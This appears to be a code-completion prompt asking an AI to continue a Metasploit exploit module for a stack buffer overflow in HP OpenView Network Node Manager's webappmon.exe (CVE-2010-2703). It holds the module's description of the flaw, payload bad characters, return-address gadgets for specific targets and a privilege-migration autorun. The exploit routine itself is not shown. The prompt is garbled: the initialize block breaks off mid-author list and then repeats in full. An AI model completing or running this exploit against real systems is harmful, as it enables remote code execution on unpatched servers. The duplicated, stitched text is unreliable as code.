You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: hp_nnm_webappmon_execvp.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ }

  include Msf::Exploit::Remote::HttpClient
  #include Msf::Exploit::Remote::Seh

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'HP OpenView Network Node Manager execvp_nc Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
        prior to NNM_01207 or NNM_01206 without the SSRT100025 hotfix. By specifying a long 'sel'
        parameter when calling methods within the 'webappmon.exe' CGI program, an attacker can
        cause a stack-based buffer overflow and execute arbitrary code.

        This vulnerability is not triggerable via a GET request due to limitations on the
        request size. The buffer being targeted is 16384 bytes in size. There are actually two
        adjacent buffers that both get overflowed (one into the other), and strcat is used.

        The vulnerable code is within the "execvp_nc" function within "ov.dll" prior to
        v 1.30.12.69. There are no stack cookies, so exploitation is easily achieved by
        overwriting the saved return address or SEH frame.

        This vulnerability might also be triggerable via other CGI programs, however this was
        not fully investigated.
      } ,
      'Author'         =>
        [
          'Shahin Ramezany <shahin[at]abysssec.com>', 
    
  def initialize(info={})
    super(update_info(info,
      'Name'           => 'HP OpenView Network Node Manager execvp_nc Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
        prior to NNM_01207 or NNM_01206 without the SSRT100025 hotfix. By specifying a long 'sel'
        parameter when calling methods within the 'webappmon.exe' CGI program, an attacker can
        cause a stack-based buffer overflow and execute arbitrary code.

        This vulnerability is not triggerable via a GET request due to limitations on the
        request size. The buffer being targeted is 16384 bytes in size. There are actually two
        adjacent buffers that both get overflowed (one into the other), and strcat is used.

        The vulnerable code is within the "execvp_nc" function within "ov.dll" prior to
        v 1.30.12.69. There are no stack cookies, so exploitation is easily achieved by
        overwriting the saved return address or SEH frame.

        This vulnerability might also be triggerable via other CGI programs, however this was
        not fully investigated.
      } ,
      'Author'         =>
        [
          'Shahin Ramezany <shahin[at]abysssec.com>',  # MOAUB #6 PoC and binary analysis
          'sinn3r',
          'jduck'   # Metasploit module
        ],
      'License'	  => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', '2010-2703' ],
          [ 'OSVDB', '66514' ],
          [ 'BID', '41829' ],
          [ 'ZDI', '10-137' ],
          [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02286088' ]
        ],
      'Payload'	 =>
        {
          'Space'    => 1024, # 16384 buffer..
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x24\x2c\x3b\x60",
          'DisableNops' => true,
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => "seh",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform' => 'win',
      'Targets'	 =>
        [
          [ 'HP OpenView Network Node Manager 7.53 w/NNM_01206',
            {
              'Ret'     => 0x5a02aacf, # pop edx/pop ebp/ret - in ov.dll (v1.30.12.29)
            }
          ],
          [ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
            {
              'Ret'     => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
            }
          ],
          [ 'Debug Target',
            {
              'Ret'     => 0xdeadbeef, # crasher
            }
          ]
        ],
      'DisclosureDate' => '2010-07-20'))
  end